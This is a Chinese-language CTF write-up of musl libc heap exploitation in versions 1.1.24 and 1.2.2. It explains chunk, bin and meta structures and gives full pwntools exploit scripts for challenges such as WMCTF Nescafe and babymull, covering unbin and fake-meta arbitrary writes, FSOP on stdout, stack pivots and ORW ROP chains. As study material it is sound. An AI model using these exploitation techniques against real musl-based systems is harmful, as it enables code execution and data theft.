准备复现5道musl pwn,其中4道都是1.2.2版本的,源码实在看不下去呜呜呜,还是跟之前学glibc一样,直接去gdb看数据来理解结构和内存管理。musl里没有malloc_hook和free_hook,所以保护全开的时候通常只能打FILE结构体。先从类似glibc的1.1.24版本入手。
Version 1.1.24
概述
musl libc 是一个专门为嵌入式系统开发的轻量级 libc 库,以简单、轻量和高效率为特色。有不少 Linux 发行版将其设为默认的 libc 库,用来代替体积臃肿的 glibc ,如 Alpine Linux(做过 Docker 镜像的应该很熟悉)、OpenWrt(常用于路由器)和 Gentoo 等。
musl libc 堆管理器约等同于dlmalloc
(glibc 堆管理器ptmalloc2
的前身),因此某些部分如 chunk、unbin 与 glibc 十分相似。
数据结构
详细讲解 从一次 CTF 出题谈 musl libc 堆漏洞利用
源码 v1.1.24/src/malloc/malloc.c
1 2 3 4
| struct chunk { size_t psize, csize; struct chunk *next, *prev; };
|
psize和csize最低位都是inuse标志位
chunk 大小:从0x20开始,以0x20跨度递增(而不是0x10)
1 2 3 4 5
| static struct { volatile uint64_t binmap; struct bin bins[64]; volatile int free_lock[2]; } mal;
|
mal
结构体类似于 glibc 中的main_arena
有三个成员:64位无符号整数binmap
、链表头部数组bins
和锁free_lock
。
binmap
记录每个 bin 是否为非空,若某个比特位为 1,表示对应的 bin 为非空,即 bin 链表中有 chunk。
1 2 3 4 5
| struct bin { volatile int lock[2]; struct chunk *head; struct chunk *tail; };
|
bin 是由 64 个结构类似 small bin 的双向循环链表组成,维护链表的方式是 FILO(从链表首部取出 chunk,从尾部插入 chunk)。
malloc大概过程:
根据size计算出对应bin的索引,然后查找binmap看看对应bin上有没有空闲chunk,如果有就unbin操作取出head指向的chunk
常见利用
取出 chunk 的过程中没有对链表和 chunk 头部进行任何检查。
利用unbin将目标地址插入bin中,实现任意地址写
1 2 3 4 5 6 7 8 9
| static void unbin(struct chunk *c, int i) { if (c->prev == c->next) a_and_64(&mal.binmap, ~(1ULL<<i)); c->prev->next = c->next; c->next->prev = c->prev; c->csize |= C_INUSE; NEXT_CHUNK(c)->psize |= C_INUSE; }
|
WMCTF_2021_Nescafe
1 2 3 4
| $./libc.so musl libc (x86_64) Version 1.1.24 Dynamic Program Loader
|
musl 1.1.24的版本和glibc差不多
chunk结构很相似,常用的小bin管理类似于smallbin的双向链表管理
本题exp参考 WMCTF 2021 pwn Azly复现
静态分析
沙箱禁用了execve
chunk size 0x200
idx 0-4
free后指针没置零,可以edit和show
只能show一次
how to leak
chunk被释放后被插入bin(mal+384),以双向链表进行管理
chunk的next*
和pre*
指针域就会被写入bin地址
可以uaf,直接show 得到libc地址
how to hijack
gdb下使用 p mal
可以查看所有bin
①如下mal+384可以理解成bin
首先add两个0x200的chunk,bin一直指向top chunk以便下次分配
free chunk0后bin指向了chunk0
chunk0的两个指针域也指向了bin
②uaf 修改chunk0的两个指针域
next设置为bin-0x8
pre设置为目标地址
1 2 3
| fake_chunk = p64(mal+400-0x18) fake_chunk += p64(libc.sym['__stdin_FILE']+0x40) edit(0,fake_chunk)
|
③根据bins的head取出chunk0的空间,作为chunk2
并进行unlink
chunk0(chunk2)的pre(即目标地址stdin_FILE+0x40)作为bin的新head
同时,目标地址stdin_FILE+0x40的fd被写入原chunk0的fd
④根据bins的head取出stdin_FILE+0x40的空间,作为chunk3
成功申请到目标地址
1 2 3
| payload = 'A'*0x30+p64(libc.sym['__stdout_FILE']+0x50)+p64(ret)+p64(0)+p64(mov_rdx) payload += p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE'])+p64(pop_rdx)+p64(0x500)+p64(libc.sym['read']) add('C'*0xb0+payload)
|
从stdin溢出到stdout
(FSOP)修改 stdout 上的函数指针劫持程序控制流,进行栈迁移ROP
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| mov_rdx = libc.address+0x000000000004951a
payload = 'E'*0x30 payload += p64(libc.sym['__stdout_FILE']+0x50)+p64(ret) payload += p64(0)+p64(mov_rdx) payload += p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE'])+p64(pop_rdx)+p64(0x500)+p64(libc.sym['read'])
leak('pop_rdi',pop_rdi) pause() add('C'*0xb0+payload)
|
这样就会执行gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| mov rdx,QWORD PTR [rdi+0x30] # 将stdout_FILE+0x30地址上的内容(stdout_FILE+0x50)放入rdx # rdi:stdout_FILE+0x30 // rdx:stdout_FILE+0x50
mov rsp,rdx # 栈顶指向stdout_FILE+0x50(存放了pop rdi gadget地址) # rsp=rdx:stdout_FILE+0x50
mov rdx,QWORD PTR [rdi+0x38] # 将stdout_FILE+0x38地址上的内容(ret gadget地址)放入rdx # rdx: ret_addr
jmp rdx # 跳到ret gadget地址,执行pop rip # 将栈顶的pop rdi gadget地址弹出并跳转执行 # 继续ROP,执行完read(0,addr,0x500)
|
执行 orw ROP 读取 flag
向__stdout_FILE地址写入如下,
主要是在__stdout_FILE+0x38处开始写入gadget,再次ROP
因为执行SYS_read后会跳转到__stdout_FILE+0x38上的地址(调试得到偏移 )
1 2 3 4 5
| payload = 'A'*0x38 payload += p64(pop_rdi)+p64(libc.sym['__stdout_FILE']+0x100)+p64(pop_rsi)+p64(0)+p64(libc.sym['open']) payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE']+0x200)+p64(pop_rdx) +p64(0x100)+p64(libc.sym['read']) payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE']+0x200)+p64(pop_rdx) +p64(0x100)+p64(libc.sym['write']) payload = payload.ljust(0x100,'\x00')+"./flag\x00"
|
类似题目还有 2020 XCTF 高校战“疫” musl-master
堆溢出漏洞,同样是利用unbin劫持
只写到申请出stdin,后面有点麻烦不想写了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import * import sys context.log_level='debug' context.arch='amd64'
flag=0 if flag: sh = remote('119.3.81.43', 49153) else: sh = process(["./libc.so","./carbon"]) sa = lambda s,n : sh.sendafter(s,n) sla = lambda s,n : sh.sendlineafter(s,n) sl = lambda s : sh.sendline(s) sd = lambda s : sh.send(s) rc = lambda n : sh.recv(n) ru = lambda s : sh.recvuntil(s) ti = lambda : sh.interactive() leak = lambda name,addr :log.success(name+":"+hex(addr)) def menu(choice): sla("> ",str(choice)) def add(size,believer,content): menu(1) sla('size? >',str(size)) sla('believer? >',str(believer)) sa('sleeve >',content) def edit(idx,content): menu(3) sla("sleeve ID? >",str(idx)) sl(content) def show(idx): menu(4) sla("sleeve ID? >",str(idx)) def delete(idx): menu(2) sla("sleeve ID? >",str(idx)) def death(): menu(5)
add(0x30,'N','a'*0x30) add(0x30,'N','a'*0x30) add(0x30,'N','b'*0x30) add(0x30,'N','c'*0x30) add(0x30,'N','a'*0x30) delete(0) add(8,'N','b'*8) show(0) mal = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 24 leak('mal',mal) libc = ELF('./libc.so') libc.address = mal - 0x292ac0 leak('libc.address',libc.address)
delete(4)
delete(3) add(0x30,'Y','d'*0x30+p64(0x41)+p64(0xb40)+p64(mal+880)+p64(libc.sym['__stdin_FILE']+0x40)+'\n')
add(0x30,'N','e'*0x30)
add(0x80,'N','g'*0x30)
ti()
|
Version 1.2.2
祥云杯_2021_babymull
1 2 3 4
| $./libc.so musl libc (x86_64) Version 1.2.2 Dynamic Program Loader
|
新版musl libc 浅析
[阅读型]新版musl libc(1.2.2)堆管理之源码剖析!
借助DefCon Quals 2021的mooosl学习musl mallocng(源码审计篇)
本题exp参考 第二届“祥云杯”网络安全大赛官方Writeup-Pwn篇
静态分析
禁用了execve
只能在add写chunk
1 2 3 4 5
| struct manage_chunk{ # 0x20 char name[0x10]; void *chunk_ptr; # chunk_Size <= 0x1000 size_t size; };
|
chunk_ptr指针free后没置0
有一次show机会
一次后门:将任意一地址的单字节置零,然后泄露任意一地址的 8 字节。
gdb查看数据结构
对着下图从头开始一个个分析结构
__malloc_context
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| pwndbg> p __malloc_context $1 = { secret = 13395722478044406582, init_done = 1, mmap_counter = 0, free_meta_head = 0x0, avail_meta = 0x5555560cc1f8, avail_meta_count = 89, avail_meta_area_count = 0, meta_alloc_shift = 0, meta_area_head = 0x5555560cc000, meta_area_tail = 0x5555560cc000, avail_meta_areas = 0x5555560cd000 <error: Cannot access memory at address 0x5555560cd000>, active = {0x0 <repeats 11 times>, 0x5555560cc090, 0x0, 0x0, 0x0, 0x5555560cc068, 0x0, 0x0, 0x0, 0x5555560cc040, 0x0, 0x0, 0x0, 0x5555560cc018, 0x0 <repeats 24 times>}, usage_by_class = {0 <repeats 48 times>}, unmap_seq = '\000' <repeats 31 times>, bounces = '\000' <repeats 31 times>, seq = 0 '\000', brk = 93825004261376 }
pwndbg> p &__malloc_context $2 = (struct malloc_context *) 0x7f952e19cb60 <__malloc_context>
pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ...... 0x7f952e19c000 0x7f952e19d000 rw-p 1000 98000 /home/wendy/Desktop/xyb/babymull/libc.so ......
|
__malloc_context
是musl libc的全局管理结构指针,相当于main_arena,存放在libc.so的bss段
active = {0x0 <repeats 11 times>, 0x5555560cc090,0...
:堆管理器依据申请的size,将chunk分成48类chunk,由sizeclass指定。每类chunk由一个meta结构管理,meta管理的chunk个数有限,由small_cnt_tab
指定。当申请个数超出一个meta所能管理的最大数量,堆管理器会再申请同类型meta管理更多的chunk,并且以双向链表结构管理这些相同类型的meta。
usage_by_class = {0 <repeats 48 times>}
:表示当前各meta管理着的chunk个数。
申请 chunk后的malloc_context变化
这里直接用这题做测试,add 0x20两次,相当于申请了4个0x30的chunk
用户申请空间之后,才有了meta页来对chunk进行管理
同时malloc_context的active数组对应元素会指向meta地址
usage_by_class数组会显示该meta的每group可管理chunk的最多数量
1 2 3 4 5 6 7 8 9
| struct meta { struct meta *prev, *next; struct group *mem; volatile int avail_mask, freed_mask; uintptr_t last_idx:5; uintptr_t freeable:1; uintptr_t sizeclass:6; uintptr_t maplen:8*sizeof(uintptr_t)-12; };
|
申请4个chunk之后gdb查看meta结构
1 2
| add(0x20, b"B"*0x20) add(0x20, b"C"*0x20)
|
0x7fb8fbfa9ce0
是user data
域;
avail_mask = 1008 = 0b11 1111 0000
表示第0、1、2、3个chunk不可用(已经被使用);
freed_mask = 0
表示没有chunk被释放;
last_idx = 9
表示最后一个chunk的下标是9,总数是10个
sizeclass = 2
表示由2
这个group进行管理。
当我们把2这个group里10个chunk都使用掉,之后申请就会开辟第二个meta页进行管理,两个meta之间由一个双向链表进行维护;
group里的chunk结构
1 2 3 4 5 6
| struck chunk{ uint8 zero; uint8 idx; uint16 offset; char[] usermem; }
|
由上图meta结构中的mem指针查看user data
域
需要注意,分配给用户的 最小chunk size 是0x8
和glibc类似,可以进行复用,可以接收输入8+4
个byte,占用下一个chunk header的前4个byte
1 2 3
| add(0x20, b"B"*0x20) add(0x20, b"C"*0x20) delete(0)
|
1 2 3 4 5 6 7 8 9 10 11 12
| pwndbg> p *(struct meta*)0x55555688b1f8 $2 = { prev = 0x55555688b1f8, next = 0x55555688b1f8, mem = 0x7f9d4c0fbce0, avail_mask = 1008, freed_mask = 3, last_idx = 9, freeable = 1, sizeclass = 2, maplen = 0 }
|
freed_mask = 3 = 0b11
表示前两个chunk被释放;
avail_mask = 1008 = 0b11 1111 0000
可以发现,avail_mask没变,此时前两个chunk仍然为不可分配的状态;
chunk header
上面了解得差不多了,应该就可以看懂exp了
开始复现
how to leak
manage chunk里面就有slot指针(其实就是chunk,但是好像在musl里面叫slot),但是前面的name有截断符,泄露不了
当一个group的所有chunk都被使用过了 ,才会使用被释放的chunk,
那么我们先申请完10个chunk,并填满数据,再释放上图前两个框的chunk,
再申请两个size不等于0x20的content_chunk,则第二个content_chunk的manage_chunk就是上图第二个框的chunk,
name的截断符就没有了,这样show功能可以直接泄露后面的指针域
how to hijack
dele content_chunk5时
会根据content_chunk5的head中的offset定位到存放meta地址的地址
offset被我们用后门函数改为了0x1000
所以就定位到了chunk0内已经写好的fake meta地址
这样fake meta就被链到了active里
之后再edit chunk0
这篇新空间刚好可以用来写orw_rop
之后申请0x800的chunk就刚好能申请到stdout_FILE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144
| from pwn import * import sys context.log_level='debug' context.arch='amd64'
flag=0 if flag: sh = remote('119.3.81.43', 49153) else: sh = process(["./libc.so","./babymull"]) sa = lambda s,n : sh.sendafter(s,n) sla = lambda s,n : sh.sendlineafter(s,n) sl = lambda s : sh.sendline(s) sd = lambda s : sh.send(s) rc = lambda n : sh.recv(n) ru = lambda s : sh.recvuntil(s) ti = lambda : sh.interactive() leak = lambda name,addr :log.success(name+":"+hex(addr)) def menu(choice): sla("choice >> ",str(choice)) def add(Size,content='A', name=b"A"*0xf): menu(1) sa('Name: ',name) sla('Size: ',str(Size)) sla('Content: ',content) def show(idx): menu(3) sla("Index: ",str(idx)) def delete(idx): menu(2) sla("Index: ",str(idx)) def gift(set_zero,leak_addr): menu(0x73317331) sl(str(set_zero)) sl(str(leak_addr))
for i in range(5): add(0x20, b"B"*0x20) delete(0)
add(0x1000) add(0x1000, '\x00'*0x238 + p32(0x5))
show(5) libc=ELF('./libc.so',checksec=False) libc.address = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00')) + 0x2aa0 +0x6000 leak('libc.address',libc.address) mmap_base = libc.address - 0xa000 leak('mmap_base',mmap_base) leak('mmap_base + 0x1560 -8 + 6',mmap_base + 0x1560 -8 + 6) leak('malloc_context',libc.symbols['__malloc_context'])
gift(mmap_base + 0x1560 -8 + 6 ,libc.symbols['__malloc_context']) sh.recvuntil('0x') secret = int(sh.recvuntil('\n',drop=True),16) leak('secret',secret)
fake_meta = mmap_base+0x1000+8 fake_meta_ptr = mmap_base+0x550
pp = flat({0x550-0x30: fake_meta}, filler='\x00', length=0x1000-0x30)
pp += p64(secret)
pp += flat([0, 0, fake_meta_ptr, 0, (24<<6)+1 ]) leak('fake_meta',fake_meta) leak('fake_meta_ptr',fake_meta_ptr)
delete(0) add(0x1000,pp)
delete(5)
delete(0) add(0x1000, '\x00'*(0x1000-0x40+8) + flat([0, 0, libc.symbols["__stdout_FILE"]-0x940, 2, (24<<6)+1]))
buf = mmap_base + 0x2aa0 leak('buf',buf) rop_chain = mmap_base + 0x2ba0 leak('rop_chain',rop_chain)
pop_rdi = libc.address + 0x15536 pop_rsi = libc.address + 0x1b3a9 pop_rdx = libc.address + 0x4727c xchg_eax_edi = libc.address + 0x26e75
open = libc.symbols["open"] read = libc.symbols["read"] write = libc.symbols["write"]
rop = flat([ pop_rdi, buf, pop_rsi, 0, open, xchg_eax_edi, pop_rsi, buf, pop_rdx, 0x100, read, pop_rdi, 1, pop_rsi, buf, pop_rdx, 0x100, write, ])
add(0x1000, b"/flag".ljust(0x100, '\x00') + rop)
ret = libc.address + 0x15238
stack_mig = libc.address + 0x4bcf3
stdout = flat({ 0x20: 1, 0x28: 1, 0x30: rop_chain, 0x38: ret, 0x48: stack_mig },filler='V') print stdout
add(0x800, stdout)
ti()
|
疑问
为什么add 0x800大小的chunk就可以直接申请到stdout_FILE,而不是从被释放的0x1000chunk开头开始(stdout_FILE - 0x940)?
为什么content_chunk5(0x1000)一开始要在0x238偏移后写入p32(5),大概是绕过free时的检查?毕竟把它head头的offset从0x1550改成了1000
强网杯 2021 easyheap
https://cy2cs.top/2021/06/16/%E3%80%90ctf%E3%80%91%E5%BC%BA%E7%BD%91%E6%9D%AF-2021-easyheap/
DefCon_Quals_2021_mooosl
https://www.anquanke.com/post/id/241104#h2-0
RCTF_2021_musl
1 2 3 4
| $./libc.so musl libc (x86_64) Version 1.2.2 Dynamic Program Loader
|
静态分析
禁用了execve
只能在add写chunk
idx<=15
1 2 3 4 5
| struct manage_chunk{ # 0xc(8+4)复用4字节空间 void *content_chunk_ptr; 0; size_t size - 1; };
|
free content_chunk
free manage_chunk
任意次数show
BSides Noida CTF baby_musl
musl_pwn之exit函数劫持